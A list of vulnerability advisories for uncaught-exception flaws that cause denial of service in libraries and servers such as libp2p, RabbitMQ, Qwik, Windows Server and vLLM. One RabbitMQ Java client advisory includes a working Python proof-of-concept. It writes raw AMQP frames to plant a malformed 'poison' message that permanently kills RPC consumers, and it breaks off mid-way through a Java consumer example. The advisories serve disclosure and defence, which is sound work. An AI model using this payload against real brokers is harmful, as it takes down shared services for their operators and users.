CWE-248 vulnerabilities

CVE-2026-103936 is a high-severity vulnerability in the JavaScript libp2p networking stack prior to version 6.0.28. The issue arises in the @libp2p/webrtc webRTCDirect() Node.js listener, which processes unauthenticated STUN Binding Requests before completing peer authentication and connection setup. A crafted short ICE password derived from the STUN request causes an uncaught native invalid_argument exception in node-datachannel or libdatachannel, leading to process termination (SIGABRT). This denial of service vulnerability does not affect confidentiality, integrity, or allow code execution. The issue is fixed in libp2p version 6.0.28.

CVE-2026-100347 is a medium-severity vulnerability in the getkin kin-openapi library's openapi3filter.ValidationHandler middleware. It occurs because the legacy router matches HTTP methods verbatim against a trie of upper-cased standard methods, causing requests with non-standard or non-canonical HTTP methods (e.g., PROPFIND or lowercase get) to miss the route and trigger a panic. This panic happens before authentication, leading to an unauthenticated, remotely triggerable denial of service via connection aborts and unbounded error log growth. The vulnerability affects versions prior to 0.145.0 and has no known fixes or patches as of the published date.

kin-openapi versions from 0.136.0 up to but not including 0.143.0 contain a vulnerability where the openapi3filter component improperly handles OpenAPI 3.1 array schemas missing the 'items' keyword. This leads to a nil-pointer panic during request or response validation when decoding certain content types. The issue does not affect OpenAPI 3.0 documents. The vulnerability is fixed in version 0.143.0.

CVE-2026-79833 is a high-severity vulnerability in Hewlett Packard Enterprise's HPE NonStop ANSI SQLUTIL component. It involves an uncaught exception that may be triggered remotely by an unauthenticated actor, causing the affected service to terminate unexpectedly and resulting in a denial of service condition.

An uncaught exception vulnerability (CWE-248) exists in Samsung Open Source Vyond before commit fb10a5c8b833df7f152d4a563a61d6090a1790d7. This flaw allows input data manipulation and results in a denial of service due to application crashes. The vulnerability has a CVSS 3.1 base score of 4.4 (medium severity).

A vulnerability in the ljharb qs library versions 6.7.0 through 6.16.0 causes a TypeError when qs.stringify is called with arrayFormat 'comma' on arrays containing elements that cannot be coerced to strings. This uncaught exception can cause synchronous throws leading to HTTP 500 errors or, in some cases, process crashes due to unhandled promise rejections. The issue was fixed in version 6.16.1.

CVE-2026-67418 is a medium severity vulnerability in rabbitmq-server affecting MQTT 5 parser versions from 3.13.0 up to but not including 3.13.19, and several 4.x versions before specified patch releases. It involves improper validation of the Request-Problem-Information property in PUBLISH packets, which is only valid for CONNECT packets. An authenticated publisher with topic write permission can cause a subscriber's MQTT or Web MQTT connection to close unexpectedly due to an unhandled exception during serialization. The broker and publisher remain available, and no denial of service beyond connection closure or message replay occurs. Fixed versions are 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5.

CVE-2026-67416 is an improper input validation vulnerability in the AMQP 1.0 server_mode parser of rabbitmq-server versions 4.0.0 up to but not including 4.0.24, 4.1.15, 4.2.10, and 4.3.4. An authenticated AMQP 1.0 publisher with write permission can submit a crafted descriptor that causes RabbitMQ to misclassify message bodies, leading to consumer termination during decoding. The broker remains operational and routing or authorization is not bypassed. This issue is fixed in versions 4.0.24, 4.1.15, 4.2.10, and 4.3.4.

A vulnerability in Engine.IO versions 6.6.0 through 6.6.9 allows a malicious client to send a crafted transport upgrade request that triggers an uncaught exception, causing the Node.js process to terminate. This occurs due to improper handling of the Engine.IO protocol revision during transport upgrades. The issue is fixed in version 6.6.10.

CVE-2026-96945 is a vulnerability in Microsoft Windows Server 2019 involving an uncaught exception in the Windows Failover Cluster component. This flaw allows an unauthorized attacker to cause a denial of service (DoS) over the network. The issue affects specific builds of Windows Server 2019 prior to the fixed versions. A patch is officially available from Microsoft to address this vulnerability.

CVE-2026-84994 is a high-severity vulnerability in the Qwik JavaScript framework prior to versions 1.20.0 and 2.0.0-beta.37. It involves uncaught exceptions caused by improper handling of thenables during server-side JSON deserialization. An unauthenticated attacker can send specially crafted requests that cause the Node.js server to terminate due to unhandled promise rejections, resulting in denial of service. This can crash a single server or keep multiple replicas unavailable. The issue is fixed in the specified versions.

CVE-2026-88099 is a vulnerability in Microsoft Windows Server 2019 involving an uncaught exception in the Windows Failover Cluster component. This flaw allows an unauthorized attacker to cause a denial of service (DoS) over a network. The issue has been assigned a medium severity with a CVSS score of 5.9. Microsoft has released official fixes for affected versions.

CVE-2026-70082 is a high-severity vulnerability in Microsoft Windows Server 2012 involving an uncaught exception in the Windows DNS component. This flaw allows an unauthorized attacker to cause a denial of service (DoS) over the network by triggering the exception. The issue affects multiple Windows Server 2012 and related versions prior to specific fixed builds. Microsoft has released official patches to address this vulnerability.

A vulnerability in Borewit music-metadata versions before 11.15.0 causes an unhandled exception leading to a process crash. The issue arises from an un-awaited asynchronous call when skipping unrecognized chunks in DSF audio files, which can result in a negative argument passed to a function that throws a RangeError. This error occurs after the main parsing promise resolves, making it uncatchable by typical try/catch error handling. The impact is a denial-of-service (DoS) condition where a single crafted DSF file can crash the Node.js process using music-metadata, affecting availability.

A vulnerability in mariadb-connector-nodejs versions 3.3.0 up to but not including 3.5.4 causes an uncaught exception during zero-configuration TLS authentication using the client_ed25519 plugin. This results in a denial of service where the Node.js client process crashes and exits. The issue arises because the Ed25519PasswordAuth.hash() method references an undefined variable, causing a ReferenceError. No credentials or data are exposed, but availability is impacted. The flaw can be triggered by an attacker capable of intercepting the connection and presenting a self-signed certificate. The vulnerability is fixed in version 3.5.4. Workarounds include providing the server certificate to the client or using other authentication plugins.

CVE-2026-107214 is a high-severity vulnerability in the qax-os excelize Go library versions 2.3.1 through 2.11.0. The issue arises from insufficient validation of attacker-controlled encryption data before decryption routines are invoked, leading to uncaught exceptions and Go runtime panics. This can cause the calling process to terminate unexpectedly when processing malformed OLE compound files with valid versioned EncryptionInfo streams. No patch or fixed version is currently available.

Apache YuniKorn 1.8.0 and later, if configured with the LDAP group resolver, crashes due to an out of bounds read processing group membership entries.If the LDAP server returns a group membership entry, memberOf attribute, for a user specified in the pod the server crashes if a membership record does not start with "CN=". This only affects install that have the non default LDAP group provider configured.  Users are recommended to upgrade to version 1.10.0, which fixes this issue.

CVE-2026-102413 is an uncaught exception vulnerability in Elastic Endpoint, part of Elastic Agent and Elastic Defend, triggered by processing specially crafted file names under certain system locale settings on Windows. This causes the Elastic Endpoint process to crash and restart repeatedly, potentially degrading or disabling real-time malware prevention and behavioral detection on the affected host. The issue affects multiple versions from 8.19.13 through 9.5.4. The vulnerability has a CVSS score of 6.2, indicating medium severity.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

vLLM is an inference and serving engine for large language models. Prior to 0.30.0, structured-output request failures can escape request-scoped validation and reach the EngineCore fatal-error path. A per-request backend mismatch can re-raise a grammar compilation exception, padding produced by the ngram_gpu speculative-decoding mode can pass a negative token to guidance validation, and the Rust frontend can admit empty structured-output values that the Python frontend rejects, allowing ordinary constrained-generation requests to terminate the shared engine. This issue is fixed in version 0.30.0.